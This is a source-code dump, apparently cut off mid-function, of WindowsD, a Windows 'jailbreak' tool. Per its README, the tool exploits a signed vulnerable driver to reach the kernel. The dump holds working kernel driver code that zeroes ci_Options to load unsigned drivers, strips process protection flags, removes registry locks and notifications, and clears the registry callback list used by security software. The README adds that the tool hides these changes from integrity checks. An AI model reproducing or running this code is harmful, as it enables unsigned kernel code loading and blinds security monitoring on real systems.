├── Makefile ├── README.md ├── defs.h ├── driver.c ├── manifest.xml ├── ntcruft.h ├── regint.h ├── service.c ├── wind.c └── wind.h /Makefile: -------------------------------------------------------------------------------- 1 | TRIPLET=$(shell gcc -dumpmachine) 2 | ifeq ($(findstring i686,$(TRIPLET)),) 3 | BITS?=64 4 | else 5 | BITS?=32 6 | endif 7 | 8 | ifeq ($(BITS),32) 9 | DDK?=/c/msys64/mingw32/i686-w64-mingw32/include/ddk 10 | else 11 | DDK?=/c/msys64/mingw64/x86_64-w64-mingw32/include/ddk 12 | endif 13 | 14 | CC=gcc 15 | 16 | TGT=wind$(BITS) 17 | all: $(TGT) 18 | 19 | CFLAGS=$(OPT) -municode -Wall -Wno-unused-function 20 | LIBS=-lkernel32 -lntdll -lmsvcrt 21 | FFLAGS=-fno-ident -fno-stack-check -fno-stack-protector -mno-stack-arg-probe -fno-asynchronous-unwind-tables -fno-exceptions 22 | LDFLAGS=-Wl,--enable-stdcall-fixup -nostartfiles -Wl,-e_win_main -Wl,--exclude-all-symbols 23 | DLDFLAGS=$(LDFLAGS) -shared -Wl,-e_dll_main -nostartfiles -lntdll -nostdlib -lkernel32 -lmsvcrt -Wl,--exclude-all-symbols 24 | SLDFLAGS=$(LDFLAGS) -shared -Wl,-e_driver_entry -Wl,--subsystem=native -nostartfiles -nostdlib -lntoskrnl -Wl,--exclude-all-symbols 25 | VERSTR=v2.2 26 | 27 | ifeq ($(DEBUG),) 28 | OPT=-O2 -DNDEBUG 29 | STRIP=objcopy --strip-all 30 | else 31 | STRIP=echo 32 | OPT=-O0 -ggdb 33 | endif 34 | 35 | 36 | $(TGT): $(TGT).exe 37 | 38 | %.o : %.rc 39 | windres $< $@ 40 | 41 | 42 | $(TGT).exe : wind.c manifest.xml loader$(BITS).o $(TGT)-dll.o $(TGT)-sys.o defs.h wind.h 43 | echo -e "1 24 manifest.xml" | windres -o manifest.o 44 | $(CC) -DVERSTR=\"$(VERSTR)\" wind.c manifest.o loader$(BITS).o $(TGT)-dll.o $(TGT)-sys.o -o $@ $(FFLAGS) $(CFLAGS) $(LIBS) $(LDFLAGS) 45 | $(STRIP) $@ 46 | $(TGT)-sys.o: driver.c defs.h wind.h 47 | $(CC) -I$(DDK) driver.c -o $(TGT).sys $(FFLAGS) $(CFLAGS) $(SLDFLAGS) 48 | # Win 8/10 kernel can't stand debug symbol tables :( 49 | cp $(TGT).sys $(TGT)-dbg.sys 50 | strip $(TGT).sys 51 | $(STRIP) $(TGT).sys 52 | echo -e '#include "defs.h"\nSYS_ID RCDATA "$(TGT).sys"' | windres -o $@ 53 | $(TGT)-dll.o: service.c defs.h wind.h 54 | $(CC) service.c -o $(TGT).dll $(FFLAGS) $(CFLAGS) $(DLDFLAGS) 55 | $(STRIP) $(TGT).dll 56 | echo -e '#include "defs.h"\nDLL_ID RCDATA "$(TGT).dll"' | windres -o $@ 57 | 58 | ifneq ($(LOADERS),) 59 | loader32.rc: win7sp1x86/termdd.sys 60 | echo -e '#include "defs.h"\nLOADER_ID RCDATA "$<"' | windres -o $@ 61 | loader64.rc: win7sp1x64/termdd.sys 62 | echo -e '#include "defs.h"\nLOADER_ID RCDATA "$<"' | windres -o $@ 63 | endif 64 | 65 | clean: 66 | rm -f *.exe *.sys *.dll *.o 67 | 68 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## WindowsD - Fixing broken windows 2 | 3 | *Aka drivers won't load, processes are unkillable, registry can't be edited...* 4 | 5 | WinD is a 3rd party "jailbreak" so administrators can remove some 6 | mal-features introduced in modern windows versions. Currently, it can disable: 7 | 8 | * Driver signing, including WHQL-only locked systems (secureboot tablets). 9 | * Protected processes (used for DRM, "WinTcb"). 10 | * Read-only, "invulnerable" registry keys some software and even windows itself employs 11 | 12 | WinD works similiarly to [other tools](https://github.com/hfiref0x/DSEFix) which disable DSE, but is 13 | designed to be more user friendly and support for more OS/hardware combinations. 14 | 15 | It is also designed to be "transparent", that is anything probing for 16 | "integrity" - typically DRM - will still see the system as locked down, 17 | even if drivers and processes are accessible to system administrator. 18 | 19 | The idea is more or less 'run once and forget'. 20 | 21 | Only accounts with SeLoadDriverPrivilege (admin) can use it. 22 | 23 | ### Supported windows versions 24 | 25 | Almost all builds of Windows 7, 8.1 and 10, 32bit and 64bit on Intel CPUs were tested. 26 | You need to use specific WinD32/64 .exe according to bit-ness of your system. 27 | 28 | XP64, Vista and server editions *may* work, but you're on your own. 29 | 30 | ### Usage 31 | 32 | Download Wind32/64 according to bit edition of windows and simply click the 33 | exe. An installation wizard should start guiding through installation (it 34 | should be enough to answer y to everything). After that, your system should 35 | be unlocked and software with unsigned drivers should start working 36 | normally again. 37 | 38 | ### Advanced usage 39 | 40 | If you don't want to install on-boot loader, but only load particular 41 | service/driver while bypassing DSE, type: 42 | 43 | ``` 44 | > wind64 /l yourdriver.sys 45 | ``` 46 | \- or - 47 | ``` 48 | > wind64 /l DriverServiceName 49 | ``` 50 | 51 | But if you want your system to ignore signatures as a whole (ie load installed 52 | drivers at boot), use: 53 | 54 | ``` 55 | > wind64 /i 56 | ``` 57 | 58 | Which will install it as a service permanently. It is recommended you create 59 | a system restore point beforehand, in the event something will not go as planned. 60 | 61 | In case you want to uninstall the service (and re-lock your system), use: 62 | 63 | ``` 64 | > wind64 /u 65 | ``` 66 | 67 | ### Process protection 68 | 69 | Windows has a concept of "protected process" - one which cannot be tampered 70 | with. Of course this is only a fiat restriction, and we can disable it with: 71 | 72 | ``` 73 | > wind64 /d 1234 74 | ``` 75 | 76 | Where 1234 is PID of the process you want to unprotect. Once unprotected, 77 | a debugger can be attached, hooks can be injected etc. This command is 78 | useful only on Win7 and early win8/10 - later versions use patchguard to 79 | watch for changes of protection flags. 80 | 81 | Meaning you have to employ same trick as we do for loading drivers - reset 82 | protection, do your stuff, restore protection - and do it quick. This can 83 | be done only via the C API. 84 | 85 | Another route is elevate your own process to WinTcb level (which should not 86 | register it with PG), at which point it should be possible to fiddle with 87 | other WinTcb process. For that, you need to get familiar with internal 88 | encodings of PS_PROTECTION structure. More in-depth description can be 89 | found at Alex's blog: 90 | 91 | * [Protected Processes Part 1: Pass-the-Hash Mitigations in Windows 8.1](http://www.alex-ionescu.com/?p=97) 92 | * [Protected Processes Part 2: Exploit/Jailbreak Mitigations, Unkillable Processes and Protected Services](http://ww.alex-ionescu.com/?p=116) 93 | * [Protected Processes Part 3: Windows PKI Internals (Signing Levels, Scenarios, Root Keys, EKUs & Runtime Signers)](http://www.alex-ionescu.com/?p=146) 94 | 95 | ### Registry 96 | 97 | Windows contains 3 mechanisms to make dealing with registry especially painful: 98 | 99 | 1. "Hard R/O lock", an undocumented, but publicly exported system call, `NtLockRegistryKey()`. This will 100 | make given key read-only, until next reboot. Worse still, there does not need to be even a process or driver 101 | holding onto the key. 102 | 2. "Soft Lock", `NtNotifyChangeKey()`. For this one, there has to be something holding on the open key handle and 103 | listening to notifications about changes to key value. The listener is either a thread, or kernel-resident 104 | driver. They'll usually silently replace the key back to value they want. No errors are reported, but the key 105 | cannot be edited. 106 | 3. Global hooks. These can be installed only by kernel drivers, and hook directly to registry operation calls. 107 | These are not per-key. Originally designed for AV software, but malware has use for it too. 108 | 109 | Note that all methods work at run time, they are not permanent permission within the registry. 110 | "Protection" like this, unlike permissions, works only within the currently running session. 111 | 112 | WindowsD allows you to override and control all of these methods. 113 | 114 | #### Method 1 115 | Parameters `/RD` and `/RE`: 116 | 117 | ``` 118 | > wind64 /RE \Registry\Machine\SYSTEM\CurrentControlSet\Control\Services 119 | ``` 120 | Will very sternly disallow writing to this subtree - no new services can be installed. There does 121 | not exist permission to disable this setting (except via `/RD` command), and almost nothing can 122 | override it - not even internal kernel APIs. 123 | 124 | `/RD` and `/RE` can be issued on any key. 125 | 126 | #### Method 2 127 | Parameters `/ND` and `/NE` 128 | ``` 129 | > wind64 /ND \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Windows 130 | ``` 131 | Will disable notifications on this subtree (which contains frequently hijacked autorun, `AppInit_DLLs`). 132 | Now you can edit it back to value you want, without something mysterious forcing it back. Finally, you 133 | can even protect it with `/RE`. 134 | 135 | Note that `/NE` can be issued only on key with notifications previously disabled via `/ND` 136 | 137 | All registry paths are NT, not the usualy Win32 ones: 138 | 139 | * `\HKLM\` becomes `\Registry\Machine\` 140 | * `\HKCU\` becomes `\Registry\User\` 141 | 142 | #### Method 3 143 | 144 | Uses parameters `/CD` and `/CE`. There is no registry path to specify (that is specific 145 | to the driver which registered the callback), so we can simply disable and re-enable again all 146 | hooks present. 147 | 148 | ### Bugs / BSODs 149 | 150 | The tool depends on many undocumented windows internals, as such, may break 151 | every windows update. Usually, it will simply refuse to load and you'll see 152 | all restrictions in effect again. There is a small chance it will render system 153 | unbootable too, so before installing via `wind /i`, USE the system restore. 154 | 155 | If you boot your system in safe mode, the driver will refuse to load as well, 156 | and then you can simply uninstall the service via `/U` or manually: 157 | 158 | ``` 159 | > sc delete WinD64inject 160 | ``` 161 | 162 | If you get a BSOD, open an issue with exact version of windows and build number, 163 | and attach the following files from your system: `CI.DLL`, `NTOSKRNL.EXE` 164 | 165 | ### API 166 | 167 | There is header-only C API - `wind.h` Usage goes like: 168 | 169 | * `handle = wind_open()` - open the control device, NULL handle on error 170 | * `wind_ioctl(handle,command,buffer,buflen)` - send command(s) 171 | * `wind_close(handle)` - close the control device 172 | 173 | `command` can be: 174 | 175 | `WIND_IOCTL_INSMOD` - load driver, bypassing DSE. Service entry must already 176 | exist for the driver. Buffer is UTF16 service registry path, length is size of 177 | buffer in bytes, including terminating zeros. 178 | 179 | `WIND_IOCTL_PROT` - set/unset process protection. buffer points to `wind_prot_t` 180 | typed buffer. 181 | 182 | * `buf->pid` - set to pid you want to change protection flags for. 183 | * `buf->prot` - contents of this struct are copied to process protection flags, 184 | but original protection flags of process will be returned back in the same 185 | buffer - ie contents will be swapped. 186 | 187 | To unprotect a process, just clear all its flags - bzero(&buf->prot). 188 | 189 | You can re-protect a process after you're done with it, simply by calling the 190 | ioctl again with same buffer (it holds the original flags) and the `buf->prot` 191 | will be swapped again. 192 | 193 | `WIND_IOCTL_REGNON/OFF, WIND_IOCTL_REGLOCKON/OFF` 194 | 195 | These take string with registry key as paramater, and can turn locking and notifications on/off. 196 | 197 | ### Internals 198 | 199 | Just like DSEfix and things similiar to it, we simply load a signed driver, 200 | exploit vulnerability in it to gain access to kernel, and override the 201 | policy with whatever we want. There are some differences too: 202 | 203 | * Custom signed driver exploit is used, [technical details here](http://kat.lua.cz/posts/Some_fun_with_vintage_bugs_and_driver_signing_enforcement/#more) 204 | * 32bit support (Win8+ secureboot). 205 | * Can coexist with vmware/vbox as the exploit is not based on those (and hence 206 | does not need CPU with VT support either). 207 | * The vulnerable driver is WHQL signed, so it works even on systems restricted 208 | to WHQL via secureboot env. 209 | * We automate `reset ci_Options` -> `load unsigned` -> `ci_Options restore` 210 | PatchGuard dance by hooking services.exe to use our NtLoadDriver wrapper DLL. 211 | 212 | ### Building and debugging 213 | You need MSYS2 for building - https://msys2.github.io/ 214 | 215 | Once you get that, drop into mingw-w64 shell and: 216 | 217 | ``` 218 | MINGW64 ~$ pacman -S mingw-w64-i686-gcc mingw-w64-x86_64-gcc 219 | MINGW64 ~$ git clone https://github.com/katlogic/WindowsD 220 | MINGW64 ~$ cd WindowsD && make 221 | ``` 222 | 223 | To build wind32.exe, just launch the "mingw-w64 win32" shell, and: 224 | 225 | ``` 226 | MINGW32 ~$ cd WindowsD && make clean && make 227 | ``` 228 | 229 | Cross compiling (on linux, or mingw32 from mingw64) is possible, but you'll have to tweak Makefile on your own. 230 | 231 | Finally, to get debug version: 232 | 233 | ``` 234 | MINGW64 ~/WindowsD$ make DEBUG=1 235 | ``` 236 | 237 | And you'll see both the userspace exe, dlls and kernel driver tracing heavily into DbgView. 238 | -------------------------------------------------------------------------------- /defs.h: -------------------------------------------------------------------------------- 1 | // ONLY macros 2 | 3 | #define LOADER_ID 10 4 | #define SYS_ID 20 5 | #define DLL_ID 30 6 | 7 | #ifdef _WIN64 8 | #define BITS "64" 9 | #define ENTRY(x) _##x 10 | #else 11 | #define ENTRY(x) x 12 | #define BITS "32" 13 | #endif 14 | 15 | #define BASENAME "WinD" BITS 16 | 17 | #define RTL_STRING(s) ((UNICODE_STRING){sizeof(s)-sizeof((s)[0]),sizeof(s),(s)}) 18 | 19 | #define RVA2PTR(base,rva) ((void*)(((PCHAR) base) + rva)) 20 | #define ID_SeLoadDriverPrivilege 10 21 | #define LUID_SeLoadDriverPrivilege (LUID){ID_SeLoadDriverPrivilege,0} 22 | 23 | #define FILE_VBS "wind-restorepoint.vbs" 24 | #define RESTORE_VBS \ 25 | "set obj=GetObject(\"winmgmts:\\\\.\\root\\default:Systemrestore\")\nobj.Enable(\"\")\n" \ 26 | "obj.CreateRestorePoint \"%s\", 0, 100\nWScript.Quit 123" 27 | 28 | #define POLICY_KEY "System\\CurrentControlSet\\Control\\ProductOptions" 29 | #define PRODUCT_POLICY "ProductPolicy" 30 | #define CUSTOM_POLICY "CustomPolicy" 31 | 32 | #define NT_MACHINE L"\\Registry\\Machine\\" 33 | 34 | #define POLICY_PATH NT_MACHINE POLICY_KEY 35 | #define SVC_BASE NT_MACHINE "System\\CurrentControlSet\\Services\\" 36 | #define LOAD_ATTEMPTS 8 37 | 38 | #ifndef NDEBUG 39 | #ifdef _WIND_DRIVER 40 | #define DBG(x...) DbgPrint("WIND: " x); 41 | #else 42 | //#define DBG(x...) { printf("! %s:%d@%s(): ",__FILE__,__LINE__,__func__); printf(x); printf("\n"); } 43 | #define DBG(x...) { \ 44 | char _buf[512]; \ 45 | sprintf(_buf + sprintf(_buf, "WIND: %s:%d@%s(): ",__FILE__,__LINE__,__func__), x); \ 46 | strcat(_buf, "\n"); \ 47 | OutputDebugStringA(_buf); \ 48 | } 49 | #endif 50 | #else 51 | #define DBG(x...) 52 | #endif 53 | 54 | #define RTL_QUERY_REGISTRY_TYPECHECK 0x00000100 55 | #define RTL_QUERY_REGISTRY_TYPECHECK_SHIFT 24 56 | 57 | #define WIN7 (cfg.protbit >= 0) 58 | #define SystemModuleInformation 0xb 59 | #define SystemBootEnvironmentInformation 0x5a 60 | #define SystemCodeIntegrityInformation 0x67 61 | #define SystemSecureBootPolicyInformation 0x8f 62 | 63 | 64 | #define WSKIP(p) while (*p == L' ' || *p == L'\t') p++; 65 | #define EQUALS(a,b) (RtlCompareMemory(a,b,sizeof(b)-1)==(sizeof(b)-1)) 66 | 67 | -------------------------------------------------------------------------------- /driver.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #define _WIND_DRIVER 4 | #include "defs.h" 5 | #include "wind.h" 6 | #include "regint.h" 7 | 8 | static wind_config_t cfg = {(void*)(-(LONG)sizeof(cfg))}; 9 | static KMUTEX ioctl_mutex; 10 | 11 | 12 | // 13 | // What follows is the meat of the whole DSE bypass. 14 | // 15 | // We temporarily flip the ci_Options to not validate, load driver, flip 16 | // ci_options back. 17 | // 18 | static void ci_restore() 19 | { 20 | DBG("current ci_Options=%08x\n", *((ULONG*)cfg.ci_opt)); 21 | cfg.ci_opt[0] = cfg.ci_guess; 22 | DBG("now restored ci_Options=%08x\n", *((ULONG*)cfg.ci_opt)); 23 | } 24 | 25 | static NTSTATUS driver_sideload(PUNICODE_STRING svc) 26 | { 27 | NTSTATUS status; 28 | 29 | // Clear ci_Options. Daaaaanger zone. 30 | cfg.ci_opt[0] = 0; 31 | 32 | // Now go fetch. 33 | status = ZwLoadDriver(svc); 34 | 35 | // Restore ci_Options. 36 | ci_restore(); 37 | 38 | return status; 39 | } 40 | 41 | // The rest is just boring driver boilerplate... 42 | static NTSTATUS NTAPI dev_open(IN PDEVICE_OBJECT dev, IN PIRP irp) 43 | { 44 | irp->IoStatus.Status = STATUS_SUCCESS; 45 | irp->IoStatus.Information = 0; 46 | IoCompleteRequest(irp, IO_NO_INCREMENT); 47 | return STATUS_SUCCESS; 48 | } 49 | 50 | // Restore/remove notify of one potential CM_KEY_BODY. 51 | static int notify_unlock(int lock, CM_KEY_BODY *tkb, CM_KEY_BODY *kb) 52 | { 53 | int ret = 0; 54 | CM_NOTIFY_BLOCK *nb; 55 | DBG("unlock %d %p %p\n",lock,tkb,kb); 56 | 57 | if (!tkb) 58 | return 0; 59 | if (tkb->KeyControlBlock != kb->KeyControlBlock) 60 | return 0; 61 | nb = tkb->NotifyBlock; 62 | while (nb) { 63 | union { 64 | struct { 65 | ULONG low:8; 66 | ULONG high:8; 67 | ULONG rest:14; 68 | }; 69 | ULONG n:30; 70 | } f; 71 | if (nb->KeyControlBlock != kb->KeyControlBlock) 72 | goto skipentry; 73 | 74 | f.n = nb->Filter; 75 | DBG("process NB @ %p Filter=%x high=%x low=%x\n", 76 | nb, nb->Filter, f.high, f.low); 77 | if (!lock && f.low && !f.high) { 78 | f.high = f.low; 79 | f.low = 0; 80 | DBG("unlock: changing filter from %x to %x", nb->Filter, f.n); 81 | nb->Filter = f.n; 82 | ret++; 83 | } 84 | if (lock && f.high && !f.low) { 85 | f.low = f.high; 86 | f.high = 0; 87 | DBG("re-lock: changing filter from %x to %x", nb->Filter, f.n); 88 | nb->Filter = f.n; 89 | ret++; 90 | } 91 | skipentry: 92 | if (!nb->HiveList.Flink) 93 | break; 94 | nb = CONTAINING_RECORD(nb->HiveList.Flink, 95 | CM_NOTIFY_BLOCK, HiveList); 96 | } 97 | return ret; 98 | } 99 | 100 | static NTSTATUS open_key(HANDLE *h, PUNICODE_STRING name) 101 | { 102 | OBJECT_ATTRIBUTES attr = { 103 | .Length = sizeof(attr), 104 | .Attributes = OBJ_KERNEL_HANDLE|OBJ_CASE_INSENSITIVE, 105 | .ObjectName = name 106 | }; 107 | return ZwOpenKey(h, KEY_READ, &attr); 108 | } 109 | 110 | // Stop/reenable notifications on registry key. 111 | static NTSTATUS reg_set_notify(PUNICODE_STRING name, int lock) 112 | { 113 | #define KLOCK_FLAGS (CM_KCB_NO_DELAY_CLOSE|CM_KCB_READ_ONLY_KEY) 114 | #define KUNLOCK_MARKER (1<<15) 115 | #define NSPAM 6 116 | HANDLE harr[NSPAM]; 117 | CM_KEY_BODY *kbs[NSPAM], *kb; 118 | NTSTATUS st; 119 | CM_KEY_CONTROL_BLOCK *cb; 120 | LIST_ENTRY *kl; 121 | void **scan; 122 | int i; 123 | struct { 124 | LIST_ENTRY KeyBodyListHead; 125 | CM_KEY_BODY *KeyBodyArray[4]; 126 | } *cbptr = NULL; 127 | 128 | // Spam handles to ensure we'll appear in cbptr->KeyBodyListHead. 129 | for (i = 0; i < NSPAM; i++) { 130 | st = open_key(&harr[i], name); 131 | if (!NT_SUCCESS(st)) 132 | goto out_unspam_zwclose; 133 | } 134 | for (i = 0; i < NSPAM; i++) { 135 | st = ObReferenceObjectByHandle(harr[i], KEY_WRITE, 136 | *CmKeyObjectType, 0, (void*)&kbs[i], NULL); 137 | if (!NT_SUCCESS(st)) 138 | goto out_unspam_deref; 139 | } 140 | 141 | kb = kbs[NSPAM-1]; 142 | cb = kb->KeyControlBlock; 143 | st = STATUS_KEY_DELETED; 144 | if (!cb || cb->Delete) 145 | goto out_unspam; 146 | 147 | scan = (void*)cb; 148 | st = STATUS_INTERNAL_ERROR; 149 | DBG("kb=%p cb=%p, scanning...\n", kb, cb); 150 | // Find ourselves in the CM_KEY_CONTROL_BLOCK structure. 151 | for (i = 0; i < 512; i++) { 152 | DBG("scan near %p = %p %p\n", &scan[i], scan[i], &kb->KeyBodyList) 153 | if (scan[i] == &kb->KeyBodyList) { 154 | cbptr = (void*)(scan+i-1); 155 | break; 156 | } 157 | } 158 | if (!cbptr) { 159 | DBG("cbptr not found\n"); 160 | goto out_unspam; 161 | } 162 | 163 | DBG("cbptr @ %p, offset %p\n", cbptr, ((ULONG_PTR)(((void*)cbptr)-((void*)cb)))); 164 | 165 | // Now process array area. 166 | for (i = 0; i < 4; i++) 167 | if (notify_unlock(lock, cbptr->KeyBodyArray[i], kb)) 168 | st = STATUS_SUCCESS; 169 | 170 | // And list area too. 171 | kl = cbptr->KeyBodyListHead.Flink; 172 | DBG("kl=%p\n"); 173 | while (kl && (kl != &cbptr->KeyBodyListHead)) { 174 | CM_KEY_BODY *tkb = CONTAINING_RECORD(kl, CM_KEY_BODY, KeyBodyList); 175 | if (notify_unlock(lock, tkb, kb)) 176 | st = STATUS_SUCCESS; 177 | kl = kl->Flink; 178 | } 179 | 180 | out_unspam:; 181 | i = NSPAM; 182 | out_unspam_deref: 183 | for (int j = 0; j < i; j++) 184 | ObDereferenceObject(kbs[j]); 185 | i = NSPAM; 186 | out_unspam_zwclose: 187 | for (int j = 0; j < i; j++) 188 | ZwClose(harr[j]); 189 | return st; 190 | } 191 | 192 | // Apply/remove hard lock. 193 | static NTSTATUS reg_set_lock(PUNICODE_STRING name, int lock) 194 | { 195 | HANDLE h; 196 | NTSTATUS st; 197 | CM_KEY_CONTROL_BLOCK *cb; 198 | CM_KEY_BODY *kb; 199 | 200 | st = open_key(&h, name); 201 | if (!NT_SUCCESS(st)) 202 | return st; 203 | st = ObReferenceObjectByHandle(h, KEY_WRITE, 204 | *CmKeyObjectType, 0, (void*)&kb, NULL); 205 | 206 | if (!NT_SUCCESS(st)) { 207 | ZwClose(h); 208 | return st; 209 | } 210 | cb = kb->KeyControlBlock; 211 | st = STATUS_KEY_DELETED; 212 | if (!cb || cb->Delete) 213 | goto out; 214 | 215 | DBG("lock=%d, kb=%p, cb=%p, t=%x refc=%u flags=%02x nb=%p\n", 216 | lock, kb, cb, kb->Type, cb->RefCount, cb->ExtFlags, kb->NotifyBlock); 217 | 218 | st = STATUS_SUCCESS; 219 | if (lock) { 220 | cb->ExtFlags |= KLOCK_FLAGS; 221 | } else { 222 | cb->ExtFlags &= ~KLOCK_FLAGS; 223 | } 224 | out:; 225 | ObDereferenceObject(kb); 226 | ZwClose(h); 227 | return st; 228 | } 229 | 230 | static NTSTATUS regs_do(NTSTATUS (*fn)(PUNICODE_STRING,int), PUNICODE_STRING names, 231 | int lock) 232 | { 233 | WCHAR *p = names->Buffer; 234 | NTSTATUS status = STATUS_SUCCESS; 235 | 236 | if (!p) 237 | return status; 238 | 239 | while (*p) { 240 | WCHAR *next; 241 | UNICODE_STRING split; 242 | NTSTATUS item_status; 243 | 244 | next = wcschr(p, L';'); 245 | if (next) 246 | *next = 0; 247 | 248 | RtlInitUnicodeString(&split, p); 249 | item_status = fn(&split, lock); 250 | if (NT_SUCCESS(status) && !NT_SUCCESS(item_status)) 251 | status = item_status; 252 | if (!next) 253 | break; 254 | p = next+1; 255 | } 256 | return status; 257 | } 258 | 259 | static NTSTATUS change_prot(wind_prot_t *req) 260 | { 261 | int getonly; 262 | void *proc; 263 | NTSTATUS status; 264 | if ((getonly = (req->pid < 0))) 265 | req->pid = -req->pid; 266 | status = PsLookupProcessByProcessId((HANDLE)(req->pid), (PEPROCESS*)&proc); 267 | if (!NT_SUCCESS(status)) 268 | return status; 269 | if (cfg.protbit < 0) { 270 | WIND_PS_PROTECTION save, *prot = proc + cfg.protofs - 2; 271 | memcpy(&save, prot, sizeof(save)); 272 | if (!getonly) 273 | memcpy(prot, &req->prot, sizeof(req->prot)); 274 | memcpy(&req->prot, &save, sizeof(save)); 275 | } else { 276 | ULONG prev, *prot = proc + cfg.protofs; 277 | prev = *prot; 278 | if (!getonly) 279 | *prot = (prev & (~(1<prot.Level) << cfg.protbit); 281 | memset(&req->prot, 0, sizeof(req->prot)); 282 | req->prot.Level = (prev>>cfg.protbit)&1; 283 | } 284 | ObDereferenceObject(proc); 285 | return status; 286 | } 287 | 288 | static NTSTATUS regcb_set(int enable) 289 | { 290 | static LIST_ENTRY saved_list; 291 | static int cleared = 0; 292 | if (!cfg.cblist) 293 | return STATUS_NOT_SUPPORTED; 294 | if (cleared ^ enable) 295 | return STATUS_DEVICE_BUSY; 296 | if (!enable) { 297 | saved_list = *cfg.cblist; 298 | InitializeListHead(cfg.cblist); 299 | cleared = 1; 300 | } else { 301 | *cfg.cblist = saved_list; 302 | cleared = 0; 303 | } 304 | return STATUS_SUCCESS; 305 | } 306 | 307 | // Helper scratch space for parser. 308 | typedef struct { 309 | wind_pol_ent *ents[WIND_POL_MAX]; 310 | UCHAR scratch[65536], *p; 311 | int nent; 312 | } parse_t; 313 | 314 | // Walk through our custom policies, and patch em up into the system one. 315 | static NTSTATUS NTAPI parse_policy(WCHAR *name, ULONG typ, void *data, ULONG len, 316 | void *pparse, void *unused) 317 | { 318 | parse_t *parse = pparse; 319 | wind_pol_ent *e; 320 | int i, nlen; 321 | if (!name) 322 | return STATUS_SUCCESS; 323 | nlen = wcslen(name)*2; 324 | DBG("Inside parser, %S, typ=%d, nent=%d %p %p %p\n",name,typ,parse->nent,parse,unused,data); 325 | // Sane type. 326 | if ((typ != REG_SZ) && (typ != REG_BINARY) && (typ != REG_DWORD)) 327 | return STATUS_SUCCESS; 328 | // Find entry of given name 329 | for (i = 0; i < parse->nent; i++) { 330 | if (parse->ents[i]->name_sz == nlen 331 | && (RtlCompareMemory(parse->ents[i]->name, name, nlen)==nlen)) { 332 | DBG("found at index %d\n",i); 333 | break; 334 | } 335 | } 336 | // Allocate scratch space 337 | e = (void*)parse->p; 338 | parse->p += sizeof(*e) + len + nlen; 339 | if (parse->p > (parse->scratch + sizeof(parse->scratch))) 340 | return STATUS_SUCCESS; 341 | // If name not found, allocate new entry. 342 | if (i == parse->nent) { 343 | e->flags = 0; 344 | if (parse->nent == WIND_POL_MAX) 345 | return STATUS_SUCCESS; 346 | parse->nent++; 347 | } else { 348 | // Otherwise we'll overwrite previous entry, preserve flags. 349 | e->flags = parse->ents[i]->flags; 350 | } 351 | // Fill in entry. Note that padding (as well as final size) 352 | // is done via wind_pol_pack(). 353 | e->name_sz = nlen; 354 | e->type = typ; 355 | e->data_sz = len; 356 | e->pad0 = 0; 357 | memcpy(e->name, name, nlen); 358 | memcpy(e->name + nlen, data, len); 359 | parse->ents[i] = e; 360 | return STATUS_SUCCESS; 361 | } 362 | 363 | // System policy has changed, apply our custom rules. 364 | static NTAPI void pol_arm_notify(HANDLE key) 365 | { 366 | static WORK_QUEUE_ITEM it; 367 | static IO_STATUS_BLOCK io; 368 | static struct { 369 | KEY_VALUE_PARTIAL_INFORMATION v; 370 | UCHAR buf[65536]; 371 | } vb; 372 | static parse_t parse; 373 | static UCHAR buf[65536]; 374 | ULONG got = sizeof(vb); 375 | 376 | // Grab current view of policy and parse its entries. 377 | parse.nent = -1; 378 | if (NT_SUCCESS(ZwQueryValueKey(key, &RTL_STRING(L""PRODUCT_POLICY), 379 | KeyValuePartialInformation, &vb, sizeof(vb), &got))) 380 | parse.nent = wind_pol_unpack(vb.v.Data, parse.ents); 381 | if (parse.nent >= 0) { 382 | RTL_QUERY_REGISTRY_TABLE qt[2] = { { 383 | .QueryRoutine = parse_policy, 384 | .Name = L""CUSTOM_POLICY, 385 | .Flags = RTL_QUERY_REGISTRY_SUBKEY|RTL_QUERY_REGISTRY_NOEXPAND, 386 | },{} }; 387 | // Now filter it through our own "policy". 388 | parse.p = parse.scratch; 389 | if (NT_SUCCESS(RtlQueryRegistryValues(0, POLICY_PATH, qt, &parse, NULL))) { 390 | // If ok, pack it again 391 | int len = wind_pol_pack(buf, parse.ents, parse.nent); 392 | // And update cache. 393 | if (cfg.pExUpdateLicenseData) 394 | cfg.pExUpdateLicenseData(len, buf); 395 | else if (cfg.pExUpdateLicenseData2) 396 | cfg.pExUpdateLicenseData2(len, buf); 397 | ZwSetValueKey(key, &RTL_STRING(L""PRODUCT_POLICY), 0, REG_BINARY, buf, len); 398 | } 399 | } 400 | DBG("Re-arming notification\n"); 401 | memset(&it, 0, sizeof(it)); 402 | it.WorkerRoutine = pol_arm_notify; 403 | it.Parameter = key; 404 | ZwNotifyChangeKey(key, NULL, (void*)&it, (void*)1, 405 | &io, 5, TRUE, NULL, 0, TRUE); 406 | } 407 | 408 | static NTSTATUS NTAPI dev_control(IN PDEVICE_OBJECT dev, IN PIRP irp) 409 | { 410 | PIO_STACK_LOCATION io_stack; 411 | ULONG code; 412 | NTSTATUS status = STATUS_INVALID_PARAMETER; 413 | UNICODE_STRING us; 414 | void *buf; 415 | int len,onoff; 416 | 417 | KeWaitForMutexObject(&ioctl_mutex, UserRequest, KernelMode, FALSE, NULL); 418 | 419 | io_stack = IoGetCurrentIrpStackLocation(irp); 420 | if (!io_stack) 421 | goto out; 422 | 423 | buf = irp->AssociatedIrp.SystemBuffer; 424 | len = io_stack->Parameters.DeviceIoControl.InputBufferLength; 425 | code = io_stack->Parameters.DeviceIoControl.IoControlCode; 426 | 427 | irp->IoStatus.Information = 0; 428 | 429 | if (!SeSinglePrivilegeCheck(LUID_SeLoadDriverPrivilege, irp->RequestorMode)) { 430 | status = STATUS_PRIVILEGE_NOT_HELD; 431 | goto out; 432 | } 433 | 434 | status = STATUS_INVALID_BUFFER_SIZE; 435 | DBG("code=%08x\n",(unsigned)code); 436 | 437 | // codes 0x90x and 0x81x need buffer. 438 | if ((code & ((0x110)<<2)) && (!buf)) 439 | goto out; 440 | 441 | // 0x10 marks string argument. 442 | if (code & (0x10 << 2)) { 443 | // must be at least 2 long, must be even, must terminate with 0 444 | if ((len < 2) || (len&1) || (*((WCHAR*)(buf+len-2))!=0)) 445 | goto out; 446 | 447 | us.Buffer = (void*)buf; 448 | us.Length = len-2; 449 | us.MaximumLength = len; 450 | } 451 | 452 | onoff = (code>>2)&1; 453 | switch (code) { 454 | case WIND_IOCTL_INSMOD: 455 | status = driver_sideload(&us); 456 | break; 457 | case WIND_IOCTL_REGLOCKON: 458 | case 